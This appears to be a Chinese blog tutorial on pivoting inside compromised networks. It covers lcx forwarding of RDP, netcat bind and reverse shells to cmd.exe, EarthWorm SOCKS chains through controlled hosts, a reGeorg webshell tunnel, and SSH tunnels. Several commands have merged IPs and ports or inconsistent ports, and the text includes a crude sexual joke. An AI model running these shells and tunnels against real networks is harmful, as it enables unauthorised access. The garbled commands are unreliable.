2. 程式人生 > >內網埠轉發及穿透

內網埠轉發及穿透

阿新 • • 發佈：2019-01-08

最近嘗試了一些內網埠的轉發和內網穿透，現在一起總結一下。

0x01 正向和反向代理

正向代理中，proxy和client同屬一個LAN，對server透明； 反向代理中，proxy和server同屬一個LAN，對client透明。 實際上proxy在兩種代理中做的事都是代為收發請求和響應，不過從結構上來看正好左右互換了下，所以把前者那種代理方式叫做正向代理，後者叫做反向代理。

正向代理(Forward Proxy)

  1. Lhost－－》proxy－－》Rhost

Lhost為了訪問到Rhost，向proxy傳送了一個請求並且指定目標是Rhost，然後proxy向Rhost轉交請求並將獲得的內容返回給Lhost，簡單來說正向代理就是proxy代替了我們去訪問Rhost。

反向代理（reverse proxy）

  1. Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反（廢話），Lhost只向proxy傳送普通的請求，具體讓他轉到哪裡，proxy自己判斷，然後將返回的資料遞交回來，這樣的好處就是在某些防火牆只允許proxy資料進出的時候可以有效的進行穿透

簡單區分

正向代理代理的是客戶端，反向代理代理的是服務端，正向代理是我們自己(Lhost)戴套(proxy)插進去，反向代理是她(Rhost)主動通過上位(proxy)坐上來(Lhost)。

0x02 lcx轉發

內網IP：192.168.153.138
公網ip：192.168.153.140
由於是本地實驗，我這裡將138的防火牆開啟，當作內網環境，140防火牆關閉，充當公網ip，所以正常情況下138能訪問140，而140不能直接訪問138。這是兩臺機器互相ping的結果。

1.內網機器上執行：lcx.exe –slave 公網IP +埠 內網IP +埠

  1. lcx.exe –slave 192.168.153.1404444192.168.153.1383389

將內網(192.168.153.138)的3389埠轉發到公網(192.168.153.138)的4444埠
2.公網(192.168.153.138)執行：lcx -listen 4444 5555

監聽公網4444埠請求，並將4444的請求傳送給5555埠。
此時已經把內網的3389埠轉發到了公網的5555埠。可以通過127.0.0.1:5555連線到內網的遠端桌面。

0x03 nc反彈

正向連線

在內網執行

  1. nc -l -p 5555-t -e cmd.exe

-t是通過telne模式執行 cmd.exe 程式，可以省略。
在公網執行

  1. nc -nvv 192.168.153.1385555

反向連線

在公網監聽nc -lp 5555

在內網機器反彈nc -t -e cmd 192.168.153.140 5555

0x04 socks代理工具

常見的socks代理工具介紹如下
1.Earthworm 工具網址：http://rootkiter.com/EarthWorm

EW 是一套行動式的網路穿透工具，具有 SOCKS v5服務架設和埠轉發兩大核心功能，可在複雜網路環境下完成網路穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網路隧道，直達網路深處，用蚯蚓獨有的手段突破網路限制，給防火牆鬆土。工具包中提供了多種可執行檔案，以適用不同的作業系統，Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用。

目前已經有了最新版Termite，工具網址：http://rootkiter.com/Termite/

2.reGeorg 工具網址：https://github.com/NoneNotNull/reGeorg

reGeorg是reDuh的升級版，主要是把內網伺服器的埠通過http/https隧道轉發到本機，形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用webshell建立一個socks代理進行內網穿透，伺服器必須支援aspx、php或jsp這些web程式中的一種。

3.sSocks 工具網址：http://sourceforge.net/projects/ssocks/

sSocks是一個socks代理工具套裝，可用來開啟socks代理服務，支援socks5驗證，支援IPV6和UDP，並提供反向socks代理服務，即將遠端計算機作為socks代理服務端，反彈回本地，極大方便內網的滲透測試，其最新版為0.0.13。

4.SocksCap64 工具網址：http://www.sockscap64.com (需翻牆)

SocksCap64是一款在windows下相當好使的全域性代理軟體。SocksCap64可以使Windows應用程式通過SOCKS代理伺服器來訪問網路而不需要對這些應用程式做任何修改, 即使某些本身不支援SOCKS代理的應用程式通過SocksCap64之後都可以完美的實現代理訪問。

5.proxychains 工具網址：http://proxychains.sourceforge.net/

Proxychains是一款在LINUX下可以實現全域性代理的軟體，效能相當穩定可靠。在使任何程式通過代理上網，允許TCP和DNS通過代理隧道，支援HTTP、SOCKS4、SOCKS5型別的代理伺服器，支援proxy chain，即可配置多個代理，同一個proxy chain可使用不同型別的代理伺服器

0x04.1 reGeorg+Proxychains代理

上傳reGeorg的tunnel.jsp到伺服器。訪問連結，並轉發到本地埠。

  1. python reGeorgSocksProxy.py -p 1080-u http://192.168.153.137/tunnel.jsp

使用設定proxychains的代理埠，進行訪問，一般配合nmap和metasploit進行後續內網滲透。ps：proxychains不支援udp和icmp協議，所以使用nmap要加上-sT -Pn即使用tcp協議且不使用icmp協議。

0x04.2 ew穿透

該工具借用了 ssocks 和 lcx.exe 的操作邏輯，並進行更多的功能強化。

說明

  1. 目前工具提供六種鏈路狀態，可通過-s 引數進行選定，分別為:
  2. ssocksd rcsocks rssocks
  3. lcx_slave lcx_tran lcx_listen
  4. 其中 SOCKS5 服務的核心邏輯支援由 ssocksd 和 rssocks 提供，分別對應正向與反向socks代理。
  5. 其餘的 lcx 鏈路狀態用於打通測試主機同 socks 伺服器之間的通路。
  6. lcx 類別管道：
  7. lcx_slave 該管道一側通過反彈方式連線代理請求方，另一側連線代理提供主機。
  8. lcx_tran 該管道，通過監聽本地埠接收代理請求，並轉交給代理提供主機。
  9. lcx_listen 該管道，通過監聽本地埠接收資料，並將其轉交給目標網路回連的代理提供主機。
  10. 通過組合lcx類別管道的特性，可以實現多層內網環境下的滲透測試。
  11. 下面是一個三級跳的本地測試例子。。。
  12. ./ew -s rcsocks -l 1080-e 8888
  13. ./ew -s lcx_slave -d 127.0.0.1-e 8888-f 127.0.0.1-g 9999
  14. ./ew -s lcx_listen -l 9999-e 7777
  15. ./ew -s rssocks -d 127.0.0.1-e 7777
  16. 資料流向為 IE ->1080->8888->9999->7777-> rssocks
0x04.2.1 正向SOCKS5伺服器

當目標網路邊界存在公網IP且可任意開監聽埠

  1. ew_for_Win.exe -s ssocksd -l 8888

上述命令是在該機器（192.168.153.140）開啟一個8888的正向連線埠。然後其它主機可通過設定代理為 192.168.153.140:8888新增這個代理。這裡使用的是proxychains

0x04.2.2 反彈SOCKS5伺服器

當目標網路邊界不存在公網IP，通過反彈方式建立socks代理。
先在一臺具有公網 ip 的主機A上執行以下命令

  1. ./ew_for_linux64 -s rcsocks -l 1080-e 8888

意思是在我們公網VPS上新增一個轉接隧道，把1080埠收到的代理請求轉交給8888埠

在目標主機B上啟動SOCKS5服務 並反彈到公網主機的8888埠

  1. ew_for_Win.exe -s rssocks -d 192.168.153.129-e 8888

本地主機（192.168.153.129）然後通過新增公網192.168.153.129:1080這個代理,來訪問內網機器（192.168.153.129）
當然如果本地主機如果是公網ip，就可以把在公網執行的步驟放在本地執行即可。

0x04.2.3 二級網路環境（一）

假設我們獲得了右側A主機和B主機的控制權限，A主機配有2塊網絡卡，一塊10.129.72.168連通外網，一塊192.168.153.140只能連線內網B主機，無法訪問內網其它資源。B主機可以訪問內網資源，但無法訪問外網。

先上傳ew到B主機，利用ssocksd方式啟動8888埠的SOCKS代理，命令如下

  1. ew_for_Win.exe -s ssocksd -l 8888

然後在A主機執行

  1. ew_for_Win.exe -s lcx_tran -l 1080-f 192.168.153.138-g 8888

含義是將1080埠收到的代理請求轉交給B主機（192.168.153.138）的8888埠
然後My pc就可以通過A的外網代理10.129.72.168:1080訪問B。

0x04.2.4 二級網路環境（二）

假設我們獲得了右側A主機和B主機的控制權限，A主機沒有公網IP，也無法訪問內網資源。B主機可以訪問內網資源，但無法訪問外網。

這次操作有四步。

  1. 在公網vps（45.xxx.xxx.72）新增轉接隧道，將10800埠收到的代理請求轉交給8888埠

    ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888

2.B（192.168.153.138）主機正向開啟8888埠

  1. ew_for_Win.exe -s ssocksd -l 9999

3.A主機利用lcx_slave方式，將公網VPS的888埠和B主機的999埠連線起來

  1. ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72-e 8888-f 192.168.153.138-g 9999

現在my pc可通過訪問45.xxx.xxx.72:10800來使用192.168.153.138主機提供的socks5代理，代理成功，vps會有rssocks cmd_socket OK!提示

0x05 ssh隧道代理轉發

ssh有三個強大的埠轉發命令，分別是本地轉發、遠端轉發、動態轉發。

  1. 本地訪問127.0.0.1:port1就是host:port2(用的更多)
  2. ssh -CfNg-L port1:127.0.0.1:port2 [email protected] #本地轉發
  3. 訪問host:port2就是訪問127.0.0.1:port1
  4. ssh -CfNg-R port2:127.0.0.1:port1 [email protected] #遠端轉發
  5. 可以將dmz_host的hostport埠通過remote_ip轉發到本地的port埠
  6. ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道，監聽本地port
  7. 可以將dmz_host的hostport埠轉發到remote_ip的port埠
  8. ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道，用於內網穿透防火牆限制之類
  9. socket代理:
  10. ssh -qTfnN -D port remotehost
  11. 引數詳解：
  12. -q Quiet mode.安靜模式
  13. -T Disable pseudo-tty allocation.不佔用 shell 了
  14. -f Requests ssh to go to background just before command execution.後臺執行，並推薦加上-n 引數
  15. -N Donot execute a remote command.不執行遠端命令，埠轉發就用它了
  16. -L port:host:hostport
  17. 將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠.工作原理是這樣的,本地機器上分配了一個 socket 偵聽 port 埠,一旦這個埠上有了連線,該連線就經過安全通道轉發出去,同時遠端主機和 host 的 hostport 埠建立連線.可以在配置檔案中指定埠的轉發.只有 root 才能轉發特權埠.IPv6地址用另一種格式說明: port/host/hostport
  18. -R port:host:hostport
  19. 將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠.工作原理是這樣的,遠端主機上分配了一個 socket 偵聽 port 埠,一旦這個埠上有了連線,該連線就經過安全通道轉向出去,同時本地主機和 host 的 hostport 埠建立連線.可以在配置檔案中指定埠的轉發.只有用 root 登入遠端主機才能轉發特權埠.IPv6地址用另一種格式說明: port/host/hostport
  20. -D port
  21. 指定一個本地機器“動態的’’應用程式埠轉發.工作原理是這樣的,本地機器上分配了一個 socket 偵聽 port 埠,一旦這個埠上有了連線,該連線就經過安全通道轉發出去,根據應用程式的協議可以判斷出遠端主機將和哪裡連線.目前支援 SOCKS協議,將充當S

相關推薦

內網埠轉發及穿透

最近嘗試了一些內網埠的轉發和內網穿透，現在一起總結一下。 0x01 正向和反向代理 正向代理中，proxy和client同屬一個LAN，對server透明； 反向代理中，proxy和server同屬一個LAN，對client透明。 實際上proxy在兩種代理中做的

Linux 系統雙網絡卡實現內網埠轉發

1. 環境： (1) 一臺 Linux 系統主機，此機器有雙網絡卡：eth0 連線外網，eth1 連線內網。假定通向外網的 eth0 的連線資訊如下（可以是靜態 IP，也可以是 DHCP）：inet addr: 192.168.3.100 Gateway: 192.168.

linux下內網埠轉發工具：linux版lcx 使用方法

這個工具以前使用的初衷是內網滲透，需要將內網ssh埠轉發到外網伺服器上。但這個工具同樣適用於運維工程師進行遠端內網維護。 當然這一切的前提是內網可以訪問外網，檢測方法當然就是直接ping 一個外網IP即可。 這個工具之前折騰了很久發現有點不穩定，斷掉無法重新連線，昨晚重新調

內網埠轉發彙總

Linux ssh SA 伺服器 CA 客戶A CB 客戶B CA通過SA訪問CB服務，在CA上執行 ssh USER@HOST_A -P HOST_A_SSH_PORT -L 127.0.0.1:LOCAL_PORT:HOST_B:HOST

SSH隧道與埠轉發及內網穿透繫結本地埠

ssh是一種安全的傳輸協議，我一般使用就是在登陸伺服器或遠端執行命令，最近我意識到這是個強大的命令。 開講～ 本地ssh隧道 工作中由於防火牆導致訪問某些網站或某些ftp連線超時，有什麼解決辦法呢。ssh隧道就是一種解決方式。 首先你需要了解一些資訊： 你自己

使用反向代理(Nginx)和隧道轉發(SSH)實現內網埠對映

實現內網與公網的對映方式有很多很多，如Ngrok、花生殼、NATAPP等，這些服務要麼要收費，要麼上不支援Mac，要麼網速比較慢，要麼沒有埠保持等，總之各種不爽，於是便琢磨如何自己搭建一個內外網埠對映服務，在網上找到搭建Ngrok的教程試了一遍，感覺還是比較麻煩

內網通過域名及公網IP訪問WWW服務器情況匯總

數據 water 外網 blob inside 有用 情況下 use host 一、網絡環境及問題描述網絡環境： 1、內部網絡辦公網劃分VLAN10 網段：192.168.1.0/24 網關位於核心SWA2、DMZ網絡劃分至VLAN20 網段：192.168.2.0/24

搭建nginx反向代理用做內網域名轉發

網址 targe 服務器 路由器 http 請求轉發 tls .html 特定 原文網址鏈接：http://www.ttlsa.com/nginx/use-nginx-proxy/ https://www.cnblogs.com/Miss-mickey/p/6734831.

搭建Nginx反向代理做內網域名轉發

color 利用 大小 red 請求轉發 max 格式 服務器響應時間 ons 由於公司內網有多臺服務器的 http 服務要映射到公司外網靜態 IP，如果用路由的端口映射來做，就只能一臺內網服務器的 80 端口映射到外網 80 端口，其他服務器的 80 端口只能映射到外網的

自建ngrok實現內網埠對映

本文轉自：自搭Ngrok實現樹莓派內網穿透，有刪改。 如果把花生殼類比為使用別人搭好的ss服務，那麼自建Ngrok就是使用自己的ss服務，可見自搭Ngrok的優勢不言而喻，流量費用十分經濟，速度，穩定性和安全性將遠遠勝過花生殼。 現在花生殼是一種比較流行的穿透內網的方式，不過其穩定

防火牆firewalld 案例1.內網請求轉發到外網

環境： 內網應用服務埠流量需要轉發請求到外網埠 解決思路： firewalld 的富規則 d主機: 富規則  d主機對外dnat釋出5423埠，然後dnat請求s的80埠；  s主機snat返回80埠資訊，d主機偽裝後5423返回給f主機。 CSDN連結  https

單線撥號上網時RouterOS內網埠對映的配置

很多時候routeros 是通過單線撥號上網，假設PPP介面名為pppoe-out1 若需要新增內網ip=18.16.1.92主機的3389埠對映 ，可以在命令列鍵入： ip firewall nat add chain=dstnat in-interface=pppoe-out1 p

nginx反向代理用做內網域名轉發

由於公司內網有多臺伺服器的http服務要對映到公司外網靜態IP，如果用路由的埠對映來做，就只能一臺內網伺服器的80埠對映到外網80埠，其他伺服器的80埠只能對映到外網的非80埠。非80埠的對映在訪問的時候要域名加上埠，比較麻煩。並且公司入口路由最多隻能做2

nginx根據專案名實現內網地址轉發

nginx根據訪問的專案名進行內網地址轉發以下是nginx的配置資訊：server { listen 8081; server_name localhost

[轉帖]Windows 內建埠轉發功能

如何在Windows中使用netsh命令進行埠轉發 https://www.freebuf.com/articles/system/176889.html 早上自己做了下實驗，的確可以。linux下 ssh可以做埠轉發，windows 下面的netsh也是可以

nginx根據項目名實現內網地址轉發

內網 htm 聲明 https log ESS localhost gin tails nginx根據訪問的項目名進行內網地址轉發 以下是nginx的配置信息： server { listen 8081; server_name l

nginx之十三：搭建 nginx 反向代理用做內網域名轉發

配置文件 nofile remote 代理服 保存 nec live 連接 body user www www;worker_processes 1;error_log logs/error.log;pid logs/nginx.pid;worker_rlimit_nofi

利用nginx的upstream做反向代理解決內網域名轉發的問題

由於專案需要，一個部署在線上伺服器的elasticsearch服務只提供內網訪問，本地訪問不了該服務，無法做介面對接，瞭解到nginx的upstream可以做反向代理解決內網域名轉發的問題，馬上行動：） upstream部分的配置 upstr

網路通是免費的內網埠對映軟體

網路通永久免費內網埠對映,內網穿透軟體，可輕鬆訪問連線內網，100%穿透內網，不需設定路由器，不需公網ip,不需固定ip,不需動態域名，使用者可免費新增多個對映,適合在公司，小區寬頻，出租屋，校園網，網咖，教育網，等網路結構複雜，限制嚴格的環境中使用。下載地址1http://

使用.net standard實現不同內網埠的互通（類似花生殼）

應用場景 1.公司電腦與家中電腦的遠端控制，一般通過teamview、向日葵等軟體，埠互通後，可以使用電腦自帶的遠端桌面 2.家中電腦搭建SVN、git倉庫，在外網或者內網訪問，一般使用雲伺服器，埠互通後，可以部署在任意電腦 3.家中電腦搭建資料庫、web服務以及其他基於TCP協議的服務，埠互通後，可以部署在